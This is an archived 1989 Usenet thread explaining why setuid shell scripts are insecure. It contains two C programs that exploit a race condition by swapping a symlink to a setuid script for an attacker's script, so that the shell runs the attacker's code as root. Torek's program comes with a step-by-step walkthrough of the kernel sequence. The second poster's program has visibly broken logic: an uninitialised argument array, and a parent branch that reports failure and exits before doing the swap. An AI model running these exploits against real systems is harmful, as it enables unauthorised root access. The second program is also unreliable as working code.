[comp.unix.questions] setuid scripts

chris@mimsy.umd.edu (Chris Torek) (10/24/89)

In article <21256@adm.BRL.MIL> danl@midget.towson.edu writes:
>Ok Chris, so I could be wrong (it certainly wouldn't be the first time),
>but please explain why.  How are they not secure (with proper planning)?
>And how are they any more secure if they are first run from a C program
>which exec's the shell?

I suppose there is no particular reason not to let this Abynissian
out of the carry-sack.  Here is the trick:

Given a setuid script---perhaps `/etc/backup', which makes a backup
of your disks---that is run by a shell (any of sh, csh, ksh, bash,
. . .) and the ability to make a link or symbolic link to the file,
the bad guy can write a program like this one:

	main()
	{

		switch (fork()) {
		case -1:
			perror("fork");	/* darn */
			exit(1);
			/*NOTREACHED*/
		case 0:
			nice(20);	/* run slowly */
			execl("/tmp/mylink", "/tmp/mylink", (char *)0);
			perror("execl(/tmp/mylink)");	/* never happens? */
			_exit(1);
			/*NOTREACHED*/
		}
		/* parent */
		delay();	/* give child time to execl() but no more */
		rename("/tmp/evilscript", "/tmp/mylink");
		/* and hope we beat the shell */
		exit(0);
	}

The desired (by Mr. Bad Guy) sequence of events is:

	0) The kernel is asked to exec /tmp/mylink.
	1) The kernel does a namei("/tmp/mylink") and comes up with
	   the inode for /etc/backup.  This inode says `setuid root'
	   (so we become root) and has first line `#! /bin/sh'.
	   The kernel iput()s the inode for /etc/backup, does a
	   namei("/bin/sh"), and comes up with an inode for /bin/sh.
	   This is a normal executable, so it starts /bin/sh with
	   argv[1] being "/tmp/mylink"---the name of the script to
	   be run.
	2) /bin/sh begins, but (due to low scheduling priority)
	   is suspended while badguy's main() is rescheduled and
	   continued.
	3) main() does a rename("/tmp/evilscript", "/tmp/mylink").
	   The kernel checks /tmp, determines that it is OK to
	   remove /tmp/mylink, does so, renames evilscript as mylink,
	   and returns.
	4) main() exits, and /bin/sh resumes.
	5) /bin/sh (still running setuid) opens /tmp/mylink and
	   reads and executes it, as root.

Unfortunately, in step 5, sh is reading the contents of /tmp/evilscript
rather than /etc/backup.
-- 
`They were supposed to be green.'
In-Real-Life: Chris Torek, Univ of MD Comp Sci Dept (+1 301 454 7163)
Domain:	chris@cs.umd.edu	Path:	uunet!mimsy!chris

mitch@hq.af.mil (Mitchell..Wright) (10/25/89)

In article <20368@mimsy.umd.edu> chris@mimsy.umd.edu (Chris Torek) writes:

>I suppose there is no particular reason not to let this Abynissian
>out of the carry-sack.  Here is the trick:
>
>	   main()
>                ...
>
I think that the timing problem can also be solved by:

#include <stdio.h>
#include <sys/wait.h>

/*
 * Symbolic link runner
 *
 * Please kids - don't try this at home
 *
 */

main(argc, argv, envp)
    int
      argc;
    char
      **argv,
      **envp;

{
    char *narg[2];
    int   pid;

    if (argc != 3) {
	  fprintf(stderr, "Usage: symlink <good> <bad>\n");
	  exit(1);
    }

    if (symlink(argv[1], "foo")) {
	  fprintf(stderr, "symlink bombed <sniff sniff> \n");
	  exit(2);
    }

    if (0 == (pid=vfork()))
      execve("foo", narg, envp);
    else {
	  fprintf(stderr, "Fork failed \n");
	  exit(3);
    }

    /*
     *  Now we can be Mr. Bad Guy
     *
     */
    unlink("foo");
    symlink (argv[2], "foo");
    wait((union wait *)NULL);
    unlink("foo");
    exit(0);
}

--
..mitch